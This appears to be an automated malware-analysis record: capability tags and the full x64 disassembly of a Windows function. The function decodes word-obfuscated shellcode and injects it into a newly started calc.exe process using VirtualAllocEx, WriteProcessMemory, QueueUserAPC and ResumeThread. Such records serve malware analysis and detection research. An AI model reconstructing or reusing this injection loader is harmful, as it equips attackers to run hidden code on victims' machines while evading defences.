Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x11e0]
mov eax, 0x12e0
call fcn.140003460
sub rsp, rax
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x11d0], rax
lea rdi, str.readers
lea rbx, str.dispatch
mov qword [rsp + 0x58], rdi
lea r13, str.pentium
mov qword [rbp - 0x38], rdi
lea r12, str.closest
mov qword [rbp - 0x30], rbx
lea rax, str.pearl
mov qword [rbp - 0x18], rdi
mov qword [rsp + 0x50], rax
lea rsi, str.review
lea rax, str.marco
mov qword [rbp + 0x10], rdi
mov qword [rsp + 0x60], rax
lea rdx, str.academics
lea rax, str.dublin
mov qword [rbp + 0x38], rdi
mov qword [rsp + 0x68], rax
lea r8, str.hindu
lea rax, str.widescreen
mov qword [rbp + 0x60], rbx
mov qword [rsp + 0x70], rax
lea r11, str.bloggers
lea rax, str.accredited
mov qword [rbp + 0x70], rdi
mov qword [rsp + 0x78], rax
lea r9, str.reasonable
lea rax, str.diego
mov qword [rbp + 0x98], rdi
mov qword [rbp - 0x80], rax
lea r10, str.ethiopia
lea rax, str.vision
mov qword [rbp + 0xb8], rdi
mov qword [rbp - 0x78], rax
lea rcx, str.struct
mov qword [rbp - 0x70], rax
lea rdi, str.renewal
mov qword [rbp - 0x68], rax
lea rax, str.holdings
mov qword [rbp - 0x28], rax
lea rax, str.shadows
mov qword [rbp - 0x20], rax
lea rax, str.logged
mov qword [rbp], rax
lea rax, str.researcher
mov qword [rbp + 0x30], rax
lea rax, str.webpage
mov qword [rbp + 0x58], rax
lea rax, str.socks
mov qword [rbp + 0x78], rax
lea rax, str.occupation
mov qword [rbp + 0x80], rax
lea rax, str.exploring
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x90], rax
lea rax, str.eagles
mov qword [rbp + 0xc8], rax
lea rax, str.toolbox
mov qword [rbp + 0xc0], rbx
lea rbx, str.theories
mov qword [rbp + 0xe0], rax
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rdx
mov qword [rbp - 0x50], rsi
mov qword [rbp - 0x48], r8
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], r13
mov qword [rbp + 8], rdx
mov qword [rbp + 0x18], r12
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], r11
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r13
mov qword [rbp + 0x50], r9
mov qword [rbp + 0x68], r10
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xa8], rcx
mov qword [rbp + 0xb0], r8
mov qword [rbp + 0xd0], rbx
mov qword [rbp + 0xd8], rdi
lea rax, str.competitions
mov qword [rbp + 0x118], r10
mov qword [rbp + 0xe8], rax
lea r14, str.topics
lea r10, str.chairs
mov qword [rbp + 0x160], rdx
lea rdx, str.readers
mov qword [rbp + 0x1f8], rcx
lea rcx, str.vision
mov qword [rbp + 0xf0], r14
lea rax, str.trash
mov qword [rbp + 0x100], r9
mov qword [rbp + 0xf8], rax
lea r15, str.worcester
lea rax, str.while
mov qword [rbp + 0x108], rsi
mov qword [rbp + 0x140], rax
lea r8, str.hypothesis
lea rax, str.sufficiently
mov qword [rbp + 0x128], rsi
mov qword [rbp + 0x148], rax
lea rax, str.coach
mov qword [rbp + 0x190], rax
lea rax, str.output
mov qword [rbp + 0x1c8], rax
lea rax, str.provinces
mov qword [rbp + 0x1d8], rax
lea rax, str.socks
mov qword [rbp + 0x1e8], rax
lea rax, str.hundred
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x250], rax
lea rax, str.mention
mov qword [rbp + 0x260], rax
lea rax, str.joining
mov qword [rbp + 0x268], rax
lea rax, str.chairs
mov qword [rbp + 0x278], rax
lea rax, str.hindu
mov qword [rbp + 0x130], r10
mov qword [rbp + 0x158], rsi
lea rsi, str.postings
mov qword [rbp + 0x168], rdx
mov qword [rbp + 0x180], r9
lea r9, str.barbados
mov qword [rbp + 0x198], rdi
lea rdi, str.sealed
mov qword [rbp + 0x1a0], rdx
mov qword [rbp + 0x1a8], r10
lea r10, str.rising
mov qword [rbp + 0x1e0], r14
lea r14, str.compare
mov qword [rbp + 0x200], rcx
mov qword [rbp + 0x208], rcx
mov qword [rbp + 0x210], rcx
mov qword [rbp + 0x230], rcx
mov qword [rbp + 0x238], rcx
mov qword [rbp + 0x240], rcx
lea rcx, str.eagles
mov qword [rbp + 0x248], rdx
mov qword [rbp + 0x270], rdx
lea rdx, str.accounting
mov qword [rbp + 0x288], rax
mov qword [rbp + 0x110], r15
mov qword [rbp + 0x120], r8
mov qword [rbp + 0x138], r15
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], r13
mov qword [rbp + 0x188], r12
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x1b8], r10
mov qword [rbp + 0x1c0], rsi
mov qword [rbp + 0x1d0], r11
mov qword [rbp + 0x218], r12
mov qword [rbp + 0x220], r14
mov qword [rbp + 0x228], r9
mov qword [rbp + 0x258], rcx
mov qword [rbp + 0x280], rdi
mov qword [rbp + 0x290], rdx
mov qword [rbp + 0x298], r12
lea rax, str.resume
mov qword [rbp + 0x2c0], r11
mov qword [rbp + 0x2a0], rax
lea r11, str.ethiopia
lea rax, str.reasonable
mov qword [rbp + 0x300], r11
mov qword [rbp + 0x2a8], rax
lea rax, str.readers
mov qword [rbp + 0x2b8], rax
lea rax, str.fallen
mov qword [rbp + 0x2c8], rax
lea rax, str.chairs
mov qword [rbp + 0x2d0], rax
lea rax, str.wikipedia
mov qword [rbp + 0x2e0], rax
lea rax, str.researcher
mov qword [rbp + 0x2e8], rax
lea rax, str.webpage
mov qword [rbp + 0x2f0], rax
lea rax, str.dispatch
mov qword [rbp + 0x2f8], rax
lea rax, str.readers
mov qword [rbp + 0x308], rax
lea rax, str.ethernet
mov qword [rbp + 0x310], rax
lea rax, str.review
mov qword [rbp + 0x320], rax
lea rax, str.variables
mov qword [rbp + 0x330], rax
lea rax, str.readers
mov qword [rbp + 0x340], rax
lea rax, str.chairs
mov qword [rbp + 0x348], rax
lea rax, str.codes
mov qword [rbp + 0x350], rax
lea rax, str.readers
mov qword [rbp + 0x358], rax
lea rax, str.dispatch
mov qword [rbp + 0x360], rax
lea rax, str.review
mov qword [rbp + 0x370], rax
mov qword [rbp + 0x398], rax
lea rax, str.chairs
mov qword [rbp + 0x3a0], rax
lea rax, str.elections
mov qword [rbp + 0x3b0], rax
lea rax, str.meditation
mov qword [rbp + 0x3d8], rax
lea rax, str.crops
mov qword [rbp + 0x3f0], rax
lea rax, str.personalized
mov qword [rbp + 0x3f8], rax
lea rax, str.negotiations
mov qword [rbp + 0x400], rax
lea rax, str.presentations
mov qword [rbp + 0x408], rax
lea rax, str.disks
mov qword [rbp + 0x318], r11
mov qword [rbp + 0x368], rcx
lea rcx, str.earning
mov qword [rbp + 0x378], r15
mov qword [rbp + 0x380], r11
lea r11, str.ratio
mov qword [rbp + 0x388], r8
lea r8, str.oriented
mov qword [rbp + 0x390], rbx
lea rbx, str.findarticles
mov qword [rbp + 0x3a8], r15
lea r15, str.interface
mov qword [rbp + 0x418], rax
mov qword [rbp + 0x2b0], r12
mov qword [rbp + 0x2d8], rdi
mov qword [rbp + 0x328], r12
mov qword [rbp + 0x338], r9
mov qword [rbp + 0x3b8], r11
mov qword [rbp + 0x3c0], r15
mov qword [rbp + 0x3c8], r8
mov qword [rbp + 0x3d0], rbx
mov qword [rbp + 0x3e0], rbx
mov qword [rbp + 0x3e8], rcx
mov qword [rbp + 0x410], r15
mov qword [rbp + 0x428], rdx
lea r15, str.resume
mov qword [rbp + 0x488], rdx
lea rax, str.sheet
mov qword [rbp + 0x420], rax
lea rdx, str.chairs
mov qword [rbp + 0x4b0], rdx
lea rax, str.chairs
mov qword [rbp + 0x450], rax
lea rax, str.appeal
mov qword [rbp + 0x478], rax
lea rax, str.readers
mov qword [rbp + 0x480], rax
lea rax, str.induction
mov qword [rbp + 0x4a0], rax
lea rax, str.lifestyle
mov qword [rbp + 0x500], rax
lea rax, str.readers
mov qword [rbp + 0x508], rax
lea rax, str.phase
mov qword [rbp + 0x510], rdx
lea rdx, str.readers
mov qword [rbp + 0x528], rax
mov qword [rbp + 0x558], rax
mov qword [rbp + 0x5b8], rax
lea rax, str.readers
mov qword [rbp + 0x560], rdx
lea rdx, str.marco
mov qword [rbp + 0x5c0], rax
lea rax, str.stewart
mov qword [rbp + 0x440], rcx
lea rcx, str.fallen
mov qword [rbp + 0x460], r10
lea r10, str.review
mov qword [rbp + 0x568], rdx
lea rdx, str.reasonable
mov qword [rbp + 0x5d0], rax
lea rax, str.dating
mov qword [rbp + 0x438], r15
mov qword [rbp + 0x448], rcx
mov qword [rbp + 0x458], rdi
mov qword [rbp + 0x468], r10
mov qword [rbp + 0x498], r15
lea r15, str.piano
mov qword [rbp + 0x4a8], rcx
lea rcx, str.sheet
mov qword [rbp + 0x4b8], rdi
mov qword [rbp + 0x4c0], r10
mov qword [rbp + 0x4d8], r9
lea r9, str.eight
mov qword [rbp + 0x4e0], r10
mov qword [rbp + 0x4f0], r10
mov qword [rbp + 0x518], rdi
lea rdi, str.review
mov qword [rbp + 0x530], r10
mov qword [rbp + 0x540], r10
mov qword [rbp + 0x550], r10
lea r10, str.suffer
mov qword [rbp + 0x578], rdx
lea rdx, str.ethernet
mov qword [rbp + 0x5d8], rax
lea rax, str.vampire
mov qword [rbp + 0x430], r12
mov qword [rbp + 0x470], r12
mov qword [rbp + 0x490], r12
mov qword [rbp + 0x4c8], r12
mov qword [rbp + 0x4d0], r15
mov qword [rbp + 0x4e8], rcx
mov qword [rbp + 0x4f8], rcx
mov qword [rbp + 0x520], r9
mov qword [rbp + 0x538], rcx
mov qword [rbp + 0x548], r9
mov qword [rbp + 0x570], r10
mov qword [rbp + 0x580], rdi
mov qword [rbp + 0x588], r13
mov qword [rbp + 0x590], rdx
mov qword [rbp + 0x598], r11
mov qword [rbp + 0x5a0], rcx
mov qword [rbp + 0x5a8], rdi
mov qword [rbp + 0x5b0], r9
mov qword [rbp + 0x5c8], r12
mov qword [rbp + 0x5e0], rax
lea r13, str.hotmail
lea rax, str.islands
mov qword [rbp + 0x688], rsi
mov qword [rbp + 0x600], rax
lea rsi, str.vision
lea rax, str.fallen
mov qword [rbp + 0x658], rdi
mov qword [rbp + 0x608], rax
lea rcx, str.objectives
lea rax, str.patch
mov qword [rbp + 0x628], rcx
mov qword [rbp + 0x610], rax
lea r12, str.ethernet
lea rax, str.womens
mov qword [rbp + 0x640], rcx
mov qword [rbp + 0x620], rax
lea rcx, str.fallen
lea rax, str.outlined
mov qword [rbp + 0x6a8], rsi
mov qword [rbp + 0x630], rax
lea rdx, str.plans
lea rax, str.butterfly
mov qword [rbp + 0x6b0], rsi
mov qword [rbp + 0x638], rax
lea rdi, str.assisted
lea rax, str.vision
mov qword [rbp + 0x6e8], rsi
mov qword [rbp + 0x648], rax
lea rsi, str.review
mov qword [rbp + 0x650], rax
lea rax, str.researcher
mov qword [rbp + 0x660], rax
lea rax, str.allow
mov qword [rbp + 0x678], rax
lea rax, str.readers
mov qword [rbp + 0x680], rax
lea rax, str.notion
mov qword [rbp + 0x698], rax
lea rax, str.chairs
mov qword [rbp + 0x6a0], rax
lea rax, str.spread
mov qword [rbp + 0x6d8], rax
lea rax, str.topics
mov qword [rbp + 0x6e0], rax
lea rax, str.rabbit
mov qword [rbp + 0x6f0], rax
lea rax, str.interests
mov qword [rbp + 0x6f8], rax
lea rax, str.eagles
mov qword [rbp + 0x700], rax
lea rax, str.profession
mov qword [rbp + 0x708], rax
lea rax, str.wanna
mov qword [rbp + 0x710], rax
lea rax, str.promise
mov qword [rbp + 0x728], rax
lea rax, str.dublin
mov qword [rbp + 0x758], r8
lea r8, str.panic
mov qword [rbp + 0x740], rax
mov qword [rbp + 0x5e8], r12
mov qword [rbp + 0x5f0], r12
mov qword [rbp + 0x5f8], r12
mov qword [rbp + 0x618], rdx
mov qword [rbp + 0x668], rcx
mov qword [rbp + 0x670], r13
mov qword [rbp + 0x690], r10
mov qword [rbp + 0x6b8], rcx
mov qword [rbp + 0x6c0], r13
mov qword [rbp + 0x6c8], rdi
mov qword [rbp + 0x6d0], rcx
mov qword [rbp + 0x718], r14
mov qword [rbp + 0x720], rsi
mov qword [rbp + 0x730], rcx
mov qword [rbp + 0x738], r13
mov qword [rbp + 0x748], rbx
mov qword [rbp + 0x750], r13
mov qword [rbp + 0x760], rsi
mov qword [rbp + 0x768], r8
mov qword [rbp + 0x770], rbx
lea rax, str.gateway
mov qword [rbp + 0x800], r14
mov qword [rbp + 0x780], rax
lea r14, str.dispatch
lea rax, str.kinds
mov qword [rbp + 0x778], rdx
mov qword [rbp + 0x788], rax
lea rdx, str.effectively
lea rax, str.chairs
mov qword [rbp + 0x790], r12
mov qword [rbp + 0x7c0], rax
lea rcx, str.smith
mov qword [rbp + 0x7c8], rax
lea rsi, str.publicity
lea rax, str.vision
mov qword [rbp + 0x818], r12
mov qword [rbp + 0x7d0], rax
mov qword [rbp + 0x7d8], rax
lea rax, str.review
mov qword [rbp + 0x7e8], rax
lea rax, str.headphones
mov qword [rbp + 0x7f8], rax
lea rax, str.sunny
mov qword [rbp + 0x808], rax
lea rax, str.vision
mov qword [rbp + 0x810], rax
lea rax, str.review
mov qword [rbp + 0x838], rax
lea rax, str.lifestyle
mov qword [rbp + 0x840], rax
lea rax, str.hindu
mov qword [rbp + 0x848], rax
mov qword [rbp + 0x850], rax
lea rax, str.webpage
mov qword [rbp + 0x858], rax
lea rax, str.ethiopia
mov qword [rbp + 0x868], rax
lea rax, str.webpage
mov qword [rbp + 0x870], rax
lea rax, str.eagles
mov qword [rbp + 0x880], rax
mov qword [rbp + 0x898], rax
mov qword [rbp + 0x8c8], rax
lea rax, str.readers
mov qword [rbp + 0x8d0], rax
lea rax, str.worcester
mov qword [rbp + 0x8e0], rax
lea rax, str.socks
mov qword [rbp + 0x860], r14
mov qword [rbp + 0x878], r14
lea r14, str.readers
mov qword [rbp + 0x890], r12
lea r12, str.adequate
mov qword [rbp + 0x900], rax
lea rax, str.distributions
mov qword [rbp + 0x798], rdx
mov qword [rbp + 0x7e0], r9
lea r9, str.tattoo
mov qword [rbp + 0x820], rdx
lea rdx, str.divide
mov qword [rbp + 0x888], r14
mov qword [rbp + 0x8a0], r14
mov qword [rbp + 0x8b0], r12
lea r12, str.review
mov qword [rbp + 0x8b8], r14
lea r14, str.ethernet
mov qword [rbp + 0x908], rax
mov qword [rbp + 0x7a0], rbx
mov qword [rbp + 0x7a8], r13
mov qword [rbp + 0x7b0], rcx
mov qword [rbp + 0x7b8], rsi
mov qword [rbp + 0x7f0], r8
mov qword [rbp + 0x828], r9
mov qword [rbp + 0x830], rdx
mov qword [rbp + 0x8a8], r13
mov qword [rbp + 0x8c0], r14
mov qword [rbp + 0x8d8], r13
mov qword [rbp + 0x8e8], r12
mov qword [rbp + 0x8f0], r8
mov qword [rbp + 0x8f8], rcx
mov qword [rbp + 0x910], r11
mov qword [rbp + 0x960], rbx
lea rax, str.sheet
mov qword [rbp + 0x958], rax
lea r11, str.readers
lea rax, str.while
mov qword [rbp + 0x918], r14
mov qword [rbp + 0x970], rax
lea rbx, str.toolbox
mov qword [rbp + 0x9b8], rbx
lea rax, str.extreme
mov qword [rbp + 0x9a0], rax
lea rbx, str.ethernet
mov qword [rbp + 0x9c0], rbx
lea rax, str.kennedy
mov qword [rbp + 0x9a8], rax
lea rbx, str.hundred
lea rax, str.mention
mov qword [rbp + 0x9d0], rbx
mov qword [rbp + 0x9b0], rax
lea rbx, str.eagles
mov qword [rbp + 0x9e0], rax
lea rcx, str.effectively
lea rax, str.fallen
mov qword [rbp + 0x9d8], rbx
mov qword [rbp + 0x9f0], rax
lea rbx, str.retired
lea rax, str.ethernet
mov qword [rbp + 0x928], r11
mov qword [rbp + 0x9f8], rax
lea r14, str.calcium
lea rax, str.interface
mov qword [rbp + 0x940], r9
mov qword [rbp + 0xa08], rax
lea r9, str.joshua
lea rax, str.accredited
mov qword [rbp + 0x950], r12
mov qword [rbp + 0xa18], rax
lea rax, str.pilot
mov qword [rbp + 0xa20], rax
lea rax, str.vision
mov qword [rbp + 0xa28], rax
mov qword [rbp + 0xa30], rax
mov qword [rbp + 0xa38], rax
lea rax, str.while
mov qword [rbp + 0xa70], rax
lea rax, str.webpage
mov qword [rbp + 0xa78], rax
lea rax, str.ethiopia
mov qword [rbp + 0xa88], rax
lea rax, str.tattoo
mov qword [rbp + 0xa90], rax
lea rax, str.sheet
mov qword [rbp + 0x978], r11
lea r11, str.corrections
mov qword [rbp + 0x990], r12
lea r12, str.dispatch
mov qword [rbp + 0x9e8], rdx
lea rdx, str.readers
mov qword [rbp + 0xa00], rbx
lea rbx, str.marco
mov qword [rbp + 0xa98], r15
lea r15, str.review
mov qword [rbp + 0xaa8], rax
mov qword [rbp + 0x920], rcx
mov qword [rbp + 0x930], r13
mov qword [rbp + 0x938], r14
mov qword [rbp + 0x948], r9
mov qword [rbp + 0x968], r13
mov qword [rbp + 0x980], r13
mov qword [rbp + 0x988], r11
mov qword [rbp + 0x998], r8
mov qword [rbp + 0x9c8], rcx
mov qword [rbp + 0xa10], rdi
mov qword [rbp + 0xa40], rdx
mov qword [rbp + 0xa48], rbx
mov qword [rbp + 0xa50], r10
mov qword [rbp + 0xa58], r9
mov qword [rbp + 0xa60], rdx
mov qword [rbp + 0xa68], r13
mov qword [rbp + 0xa80], r12
mov qword [rbp + 0xaa0], r15
lea rax, str.topics
mov qword [rbp + 0xb98], r9
mov qword [rbp + 0xad8], rax
lea r9, str.sheet
lea rax, str.outlined
mov qword [rbp + 0xab0], rdx
mov qword [rbp + 0xaf0], rax
lea rdx, str.sports
lea rax, str.ethernet
mov qword [rbp + 0xac8], r15
mov qword [rbp + 0xaf8], rax
lea r10, str.kitty
lea rax, str.vision
mov qword [rbp + 0xad0], r8
mov qword [rbp + 0xb18], rax
lea r8, str.collectables
lea rax, str.newspapers
mov qword [rbp + 0xb00], rcx
mov qword [rbp + 0xb20], rax
lea rcx, str.domain
lea rax, str.acres
mov qword [rbp + 0xb08], rbx
mov qword [rbp + 0xb28], rax
lea rax, str.readers
mov qword [rbp + 0xb30], rax
lea rax, str.riding
mov qword [rbp + 0xb40], rax
lea rax, str.reasonable
mov qword [rbp + 0xb48], rax
lea rax, str.lifestyle
mov qword [rbp + 0xb50], rax
lea rax, str.tattoo
mov qword [rbp + 0xb68], rax
lea rax, str.resume
mov qword [rbp + 0xb70], rax
lea rax, str.eight
mov qword [rbp + 0xb80], rax
lea rax, str.vision
mov qword [rbp + 0xb90], rax
mov qword [rbp + 0xba0], rax
mov qword [rbp + 0xba8], rax
lea rax, str.situation
mov qword [rbp + 0xbd0], rax
lea rax, str.ethiopia
mov qword [rbp + 0xbe8], rax
lea rax, str.leslie
mov qword [rbp + 0xc08], rax
lea rax, str.intermediate
mov qword [rbp + 0xc10], rax
lea rax, str.ethernet
mov qword [rbp + 0xc20], rax
lea rax, str.fallen
mov qword [rbp + 0xb38], rbx
lea rbx, str.readers
mov qword [rbp + 0xb78], r15
mov qword [rbp + 0xbb0], r15
mov qword [rbp + 0xbb8], r9
mov qword [rbp + 0xbf0], r15
lea r15, str.panic
mov qword [rbp + 0xc00], r9
lea r9, str.components
mov qword [rbp + 0xc18], rdi
lea rdi, str.effectively
mov qword [rbp + 0xc48], rax
mov qword [rbp + 0xab8], r13
mov qword [rbp + 0xac0], r11
mov qword [rbp + 0xae0], r8
mov qword [rbp + 0xae8], rdx
mov qword [rbp + 0xb10], rcx
mov qword [rbp + 0xb58], r13
mov qword [rbp + 0xb60], r10
mov qword [rbp + 0xb88], rsi
mov qword [rbp + 0xbc0], rbx
mov qword [rbp + 0xbc8], r13
mov qword [rbp + 0xbd8], rbx
mov qword [rbp + 0xbe0], r12
mov qword [rbp + 0xbf8], r15
mov qword [rbp + 0xc28], rdi
mov qword [rbp + 0xc30], rbx
mov qword [rbp + 0xc38], r13
mov qword [rbp + 0xc40], r9
mov qword [rbp + 0xc78], rax
lea rbx, str.webpage
lea rax, str.widescreen
mov qword [rbp + 0xc60], rbx
mov qword [rbp + 0xc88], rax
lea rbx, str.readers
lea rax, str.manga
mov qword [rbp + 0xc68], r12
mov qword [rbp + 0xca0], rax
lea r12, str.ethiopia
lea rax, str.topics
mov qword [rbp + 0xce0], rdx
mov qword [rbp + 0xcd0], rax
lea rdx, str.marco
lea rax, str.outlined
mov qword [rbp + 0xd08], rcx
mov qword [rbp + 0xce8], rax
lea rcx, str.picture
lea rax, str.identifying
mov qword [rbp + 0xc50], r13
mov qword [rbp + 0xd18], rax
lea rax, str.yours
mov qword [rbp + 0xd20], rax
lea rax, str.resume
mov qword [rbp + 0xd58], rax
lea rax, str.phase
mov qword [rbp + 0xd90], rax
lea rax, str.provinces
mov qword [rbp + 0xda8], rax
lea rax, str.studied
mov qword [rbp + 0xdb0], rax
lea rax, str.socks
mov qword [rbp + 0xdb8], rax
lea rax, str.variations
mov qword [rbp + 0xdc0], rax
lea rax, str.chicken
mov qword [rbp + 0xc70], r12
lea r12, str.review
mov qword [rbp + 0xc80], r13
mov qword [rbp + 0xc90], rbx
mov qword [rbp + 0xc98], r13
mov qword [rbp + 0xca8], rbx
lea rbx, str.vision
mov qword [rbp + 0xcb0], r13
lea r13, str.ethernet
mov qword [rbp + 0xcb8], r11
lea r11, str.sheet
mov qword [rbp + 0xcd8], r8
lea r8, str.eight
mov qword [rbp + 0xd00], rdx
lea rdx, str.tattoo
mov qword [rbp + 0xd38], rcx
mov qword [rbp + 0xdd8], rcx
lea rcx, str.interface
mov qword [rbp + 0xe00], rax
lea rax, str.webpage
mov qword [rbp + 0xc58], r14
mov qword [rbp + 0xcc0], r12
mov qword [rbp + 0xcc8], r15
mov qword [rbp + 0xcf0], r13
mov qword [rbp + 0xcf8], rdi
mov qword [rbp + 0xd10], rbx
mov qword [rbp + 0xd28], r11
mov qword [rbp + 0xd30], r12
mov qword [rbp + 0xd40], r8
mov qword [rbp + 0xd48], rsi
mov qword [rbp + 0xd50], rbx
mov qword [rbp + 0xd60], rbx
mov qword [rbp + 0xd68], rbx
mov qword [rbp + 0xd70], r12
mov qword [rbp + 0xd78], r11
mov qword [rbp + 0xd80], rdx
mov qword [rbp + 0xd88], rbx
mov qword [rbp + 0xd98], r12
mov qword [rbp + 0xda0], r15
mov qword [rbp + 0xdc8], r13
mov qword [rbp + 0xdd0], rdi
mov qword [rbp + 0xde0], r8
mov qword [rbp + 0xde8], r12
mov qword [rbp + 0xdf0], r15
mov qword [rbp + 0xdf8], rcx
mov qword [rbp + 0xe08], rax
lea rbx, str.retired
lea rax, str.toolbox
mov qword [rbp + 0xeb0], rcx
mov qword [rbp + 0xe10], rax
lea rsi, str.fallen
lea rax, str.dating
mov qword [rbp + 0xee0], rdx
mov qword [rbp + 0xe40], rax
lea rcx, str.Size_of_shellcode_is__d
lea rax, str.renewal
mov qword [rbp + 0xe38], rbx
mov qword [rbp + 0xe48], rax
lea rbx, str.readers
lea rax, str.chairs
mov qword [rbp + 0xec0], r12
mov qword [rbp + 0xe70], rax
lea r12, str.adequate
lea rax, str.headphones
mov qword [rbp + 0xe18], r13
mov qword [rbp + 0xe88], rax
mov edx, 0x1fe
lea rax, str.yahoo
mov qword [rbp + 0xe20], rdi
mov qword [rbp + 0xe90], rax
lea rax, str.hundred
mov qword [rbp + 0xea0], rax
lea rax, str.redeem
mov qword [rbp + 0xeb8], rax
lea rax, str.ecommerce
mov qword [rbp + 0xed0], rax
lea rax, str.vision
mov qword [rbp + 0xee8], rax
lea rax, str.widescreen
mov qword [rbp + 0xf10], rax
lea rax, str.determination
mov qword [rbp + 0xf18], rax
lea rax, str.rehab
mov qword [rbp + 0xf20], rax
lea rax, str.researcher
mov qword [rbp + 0xf28], rax
mov qword [rbp + 0xe28], rsi
mov qword [rbp + 0xe30], r13
mov qword [rbp + 0xe50], r13
mov qword [rbp + 0xe58], r13
mov qword [rbp + 0xe60], r13
mov qword [rbp + 0xe68], rbx
mov qword [rbp + 0xe78], r9
mov qword [rbp + 0xe80], rbx
mov qword [rbp + 0xe98], rbx
mov qword [rbp + 0xea8], r10
mov qword [rbp + 0xec8], r13
mov qword [rbp + 0xed8], r11
mov qword [rbp + 0xef0], r8
mov qword [rbp + 0xef8], rsi
mov qword [rbp + 0xf00], r14
mov qword [rbp + 0xf08], r12
mov qword [rbp + 0xf30], r13
mov qword [rbp + 0xf38], rdi
call fcn.140001010
xor r14d, r14d
lea rdi, str.vision
mov ebx, r14d
nop
mov rdx, qword [rsp + rbx*8 + 0x50]
mov eax, r14d
nop dword [rax + rax]
movsxd rcx, eax
cmp qword [rdi + rcx*8], rdx
je 0x140002604
inc eax
cmp eax, 0xff
jle 0x1400025f0
jmp 0x14000261a
movzx edx, al
lea rcx, str.x_x
mov byte [rbp + rbx + 0xfd0], dl
call fcn.140001010
inc rbx
cmp rbx, 0x1fe
jl 0x1400025e0
xorps xmm0, xmm0
lea rcx, str.C:WindowsSystem32calc.exe
xor eax, eax
xor r9d, r9d
mov qword [rbp + 0xfc0], rax
xor r8d, r8d
mov qword [rbp + 0xf50], rax
xor edx, edx
lea rax, [rbp + 0xf40]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0xf60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r14d
movups xmmword [rbp + 0xf60], xmm0
movups xmmword [rbp + 0xf70], xmm0
movups xmmword [rbp + 0xf80], xmm0
movups xmmword [rbp + 0xf90], xmm0
movups xmmword [rbp + 0xfa0], xmm0
movups xmmword [rbp + 0xfb0], xmm0
movups xmmword [rbp + 0xf40], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rdi, qword [rbp + 0xf40]
xor edx, edx
mov rsi, qword [rbp + 0xf48]
mov rcx, rdi
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1fe
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, 0x1fe
mov qword [rsp + 0x20], r14
mov rdx, rax
lea r8, [rbp + 0xfd0]
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
mov rcx, qword [rbp + 0x11d0]
xor rcx, rsp
call fcn.140002760
lea r11, [rsp + 0x12e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret